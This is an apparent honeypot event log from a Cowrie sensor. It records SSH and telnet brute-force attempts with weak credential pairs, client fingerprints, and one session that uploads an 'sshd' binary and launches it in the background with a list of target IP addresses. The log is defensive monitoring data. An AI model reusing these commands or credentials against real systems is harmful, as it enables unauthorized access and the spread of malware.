{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51756,"dst_ip":"10.17.0.5","dst_port":23,"session":"a2f6569597d9","protocol":"telnet","message":"New connection: 152.42.224.71:51756 (10.17.0.5:23) [session: a2f6569597d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:40:31.149143Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":35336,"dst_ip":"159.203.135.109","dst_port":22,"session":"2794a8afcb84","protocol":"ssh","message":"New connection: 31.40.204.166:35336 (159.203.135.109:22) [session: 2794a8afcb84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:40:31.504405Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:40:31.519554Z","src_ip":"31.40.204.166","session":"2794a8afcb84","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:40:31.684076Z","src_ip":"31.40.204.166","session":"2794a8afcb84","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rdpuser","password":"123456789","message":"login attempt [rdpuser/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:40:32.318990Z","src_ip":"31.40.204.166","session":"2794a8afcb84","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:40:33.521458Z","src_ip":"31.40.204.166","session":"2794a8afcb84","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51770,"dst_ip":"10.17.0.5","dst_port":23,"session":"ba8d0e3e2b69","protocol":"telnet","message":"New connection: 152.42.224.71:51770 (10.17.0.5:23) [session: ba8d0e3e2b69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:40:34.186826Z"}
{"eventid":"cowrie.session.closed","duration":120.00189423561096,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:40:34.580851Z","src_ip":"152.42.224.71","session":"f178dac1be63","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.79.207.110","src_port":51633,"dst_ip":"159.203.135.109","dst_port":22,"session":"6d59585897ca","protocol":"ssh","message":"New connection: 45.79.207.110:51633 (159.203.135.109:22) [session: 6d59585897ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:40:35.952612Z"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:40:36.195251Z","src_ip":"45.79.207.110","session":"6d59585897ca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.127.181.44","src_port":55588,"dst_ip":"10.17.0.5","dst_port":22,"session":"d2cfc28e48c9","protocol":"ssh","message":"New connection: 79.127.181.44:55588 (10.17.0.5:22) [session: d2cfc28e48c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:40:37.482950Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Granados-1.0","message":"Remote SSH version: SSH-2.0-Granados-1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:40:37.682233Z","src_ip":"79.127.181.44","session":"d2cfc28e48c9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"195e6691752c6042df663c15d2f68972","hasshAlgorithms":"diffie-hellman-group1-sha1;aes128-cbc,blowfish-cbc,3des-cbc;hmac-sha1;none","kexAlgs":["diffie-hellman-group1-sha1"],"keyAlgs":["ssh-dss","ssh-rsa"],"encCS":["aes128-cbc","blowfish-cbc","3des-cbc"],"macCS":["hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 195e6691752c6042df663c15d2f68972","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:40:37.875778Z","src_ip":"79.127.181.44","session":"d2cfc28e48c9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:40:37.882151Z","src_ip":"79.127.181.44","session":"d2cfc28e48c9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40412,"dst_ip":"10.17.0.5","dst_port":23,"session":"8a9e6fb64054","protocol":"telnet","message":"New connection: 152.42.224.71:40412 (10.17.0.5:23) [session: 8a9e6fb64054]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:40:39.431555Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40420,"dst_ip":"10.17.0.5","dst_port":23,"session":"df9c1e870dc2","protocol":"telnet","message":"New connection: 152.42.224.71:40420 (10.17.0.5:23) [session: df9c1e870dc2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:40:40.433387Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40426,"dst_ip":"10.17.0.5","dst_port":23,"session":"531af5f3f7cb","protocol":"telnet","message":"New connection: 152.42.224.71:40426 (10.17.0.5:23) [session: 531af5f3f7cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:40:41.719033Z"}
{"eventid":"cowrie.session.closed","duration":30.19806432723999,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:40:41.906782Z","src_ip":"152.42.224.71","session":"8d6bed643bf3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":49216,"dst_ip":"159.203.135.109","dst_port":22,"session":"49c349054491","protocol":"ssh","message":"New connection: 31.40.204.166:49216 (159.203.135.109:22) [session: 49c349054491]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:40:42.682099Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:40:42.714817Z","src_ip":"31.40.204.166","session":"49c349054491","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:40:42.886621Z","src_ip":"31.40.204.166","session":"49c349054491","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40430,"dst_ip":"10.17.0.5","dst_port":23,"session":"78065c5a9532","protocol":"telnet","message":"New connection: 152.42.224.71:40430 (10.17.0.5:23) [session: 78065c5a9532]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:40:42.932220Z"}
{"eventid":"cowrie.login.failed","username":"john","password":"123456","message":"login attempt [john/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:40:43.422991Z","src_ip":"31.40.204.166","session":"49c349054491","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":90.21151638031006,"message":"Connection lost after 90 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:40:43.954916Z","src_ip":"152.42.224.71","session":"e998d69b401d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:40:44.599339Z","src_ip":"31.40.204.166","session":"49c349054491","protocol":"ssh"}
{"eventid":"cowrie.session.file_upload","filename":"sshd","outfile":"var/lib/cowrie/downloads/94f2e4d8d4436874785cd14e6e6d403507b8750852f7f2040352069a75da4c00","shasum":"94f2e4d8d4436874785cd14e6e6d403507b8750852f7f2040352069a75da4c00","message":"SFTP Uploaded file \"sshd\" to var/lib/cowrie/downloads/94f2e4d8d4436874785cd14e6e6d403507b8750852f7f2040352069a75da4c00","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:40:45.199536Z","src_ip":"172.245.43.228","session":"c58151e9b8e8","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:40:45.491381Z","src_ip":"172.245.43.228","session":"c58151e9b8e8","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"chmod +x ./.6334921195692701978/sshd;nohup ./.6334921195692701978/sshd 121.228.250.70 156.227.232.239 114.218.57.21 221.178.246.21 162.241.29.37 170.150.255.26 85.159.228.176 122.228.86.100 191.227.132.57 41.93.28.11 221.10.21.26 183.94.33.160 43.226.44.17 171.237.176.65 43.226.45.124 45.192.99.43 203.189.196.168 120.209.186.110 116.169.58.224 111.170.34.11 118.122.147.195 161.129.211.56 160.191.89.223 160.250.133.79 202.134.23.229 141.148.140.182 103.61.122.197 159.203.120.106 191.252.210.242 106.13.167.239 59.110.83.71 39.175.51.58 119.96.137.19 117.89.254.46 120.92.10.155 123.58.212.100 0.0.0.0 45.55.30.94 177.136.246.131 38.12.6.229 180.76.112.121 23.165.104.184 36.163.199.22 161.129.211.63 134.122.95.87 23.251.57.59 47.251.91.128 172.245.43.228 185.27.121.34 180.129.222.228 43.226.36.171 &","message":"CMD: chmod +x ./.6334921195692701978/sshd;nohup ./.6334921195692701978/sshd 121.228.250.70 156.227.232.239 114.218.57.21 221.178.246.21 162.241.29.37 170.150.255.26 85.159.228.176 122.228.86.100 191.227.132.57 41.93.28.11 221.10.21.26 183.94.33.160 43.226.44.17 171.237.176.65 43.226.45.124 45.192.99.43 203.189.196.168 120.209.186.110 116.169.58.224 111.170.34.11 118.122.147.195 161.129.211.56 160.191.89.223 160.250.133.79 202.134.23.229 141.148.140.182 103.61.122.197 159.203.120.106 191.252.210.242 106.13.167.239 59.110.83.71 39.175.51.58 119.96.137.19 117.89.254.46 120.92.10.155 123.58.212.100 0.0.0.0 45.55.30.94 177.136.246.131 38.12.6.229 180.76.112.121 23.165.104.184 36.163.199.22 161.129.211.63 134.122.95.87 23.251.57.59 47.251.91.128 172.245.43.228 185.27.121.34 180.129.222.228 43.226.36.171 &","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:40:45.496015Z","src_ip":"172.245.43.228","session":"c58151e9b8e8","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/95deaddf63342ce52bce3baf37c48ce2ab7b9dc92015d4b5d7e496f6bcfae75a","size":136,"shasum":"95deaddf63342ce52bce3baf37c48ce2ab7b9dc92015d4b5d7e496f6bcfae75a","duplicate":false,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/95deaddf63342ce52bce3baf37c48ce2ab7b9dc92015d4b5d7e496f6bcfae75a after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:40:45.583510Z","src_ip":"172.245.43.228","session":"c58151e9b8e8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"102.2","message":"Connection lost after 102.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:40:45.588885Z","src_ip":"172.245.43.228","session":"c58151e9b8e8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59202,"dst_ip":"10.17.0.5","dst_port":23,"session":"cad30ae2523a","protocol":"telnet","message":"New connection: 152.42.224.71:59202 (10.17.0.5:23) [session: cad30ae2523a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:40:46.436367Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59218,"dst_ip":"10.17.0.5","dst_port":23,"session":"08bdd5213ef7","protocol":"telnet","message":"New connection: 152.42.224.71:59218 (10.17.0.5:23) [session: 08bdd5213ef7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:40:54.387995Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":60792,"dst_ip":"159.203.135.109","dst_port":22,"session":"1886e6aa1236","protocol":"ssh","message":"New connection: 31.40.204.166:60792 (159.203.135.109:22) [session: 1886e6aa1236]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:40:54.589324Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:40:54.594160Z","src_ip":"31.40.204.166","session":"1886e6aa1236","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:40:54.724419Z","src_ip":"31.40.204.166","session":"1886e6aa1236","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Test1234","message":"login attempt [root/Test1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:40:55.210862Z","src_ip":"31.40.204.166","session":"1886e6aa1236","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:40:56.387039Z","src_ip":"31.40.204.166","session":"1886e6aa1236","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51248,"dst_ip":"10.17.0.5","dst_port":23,"session":"f50cc7889b74","protocol":"telnet","message":"New connection: 152.42.224.71:51248 (10.17.0.5:23) [session: f50cc7889b74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:40:56.582770Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51256,"dst_ip":"10.17.0.5","dst_port":23,"session":"01e13d7b7447","protocol":"telnet","message":"New connection: 152.42.224.71:51256 (10.17.0.5:23) [session: 01e13d7b7447]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:40:59.778646Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":59416,"dst_ip":"159.203.135.109","dst_port":22,"session":"f99289e31104","protocol":"ssh","message":"New connection: 31.40.204.166:59416 (159.203.135.109:22) [session: f99289e31104]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:41:05.785331Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:41:05.796378Z","src_ip":"31.40.204.166","session":"f99289e31104","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:41:05.916657Z","src_ip":"31.40.204.166","session":"f99289e31104","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:41:06.518635Z","src_ip":"31.40.204.166","session":"f99289e31104","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35678,"dst_ip":"10.17.0.5","dst_port":23,"session":"5364d85befda","protocol":"telnet","message":"New connection: 152.42.224.71:35678 (10.17.0.5:23) [session: 5364d85befda]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:41:06.753559Z"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:41:06.860784Z","src_ip":"31.40.204.166","session":"f99289e31104","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:41:06.864591Z","src_ip":"31.40.204.166","session":"f99289e31104","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:41:07.012089Z","src_ip":"31.40.204.166","session":"f99289e31104","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:41:07.018177Z","src_ip":"31.40.204.166","session":"f99289e31104","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.923869132995605,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:41:09.369423Z","src_ip":"152.42.224.71","session":"ef4aca8edc35","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35690,"dst_ip":"10.17.0.5","dst_port":23,"session":"de925cab2588","protocol":"telnet","message":"New connection: 152.42.224.71:35690 (10.17.0.5:23) [session: de925cab2588]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:41:12.299389Z"}
{"eventid":"cowrie.session.closed","duration":57.393521785736084,"message":"Connection lost after 57 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:41:12.728777Z","src_ip":"152.42.224.71","session":"4b99bdf7c89a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.59819507598877,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:41:13.421067Z","src_ip":"152.42.224.71","session":"18d87b091ea6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.42743468284607,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:41:13.860703Z","src_ip":"152.42.224.71","session":"df9c1e870dc2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.195.236.96","src_port":34568,"dst_ip":"159.203.135.109","dst_port":22,"session":"d5173f0c90a9","protocol":"ssh","message":"New connection: 103.195.236.96:34568 (159.203.135.109:22) [session: d5173f0c90a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:41:13.980012Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:41:14.059660Z","src_ip":"103.195.236.96","session":"d5173f0c90a9","protocol":"ssh"}
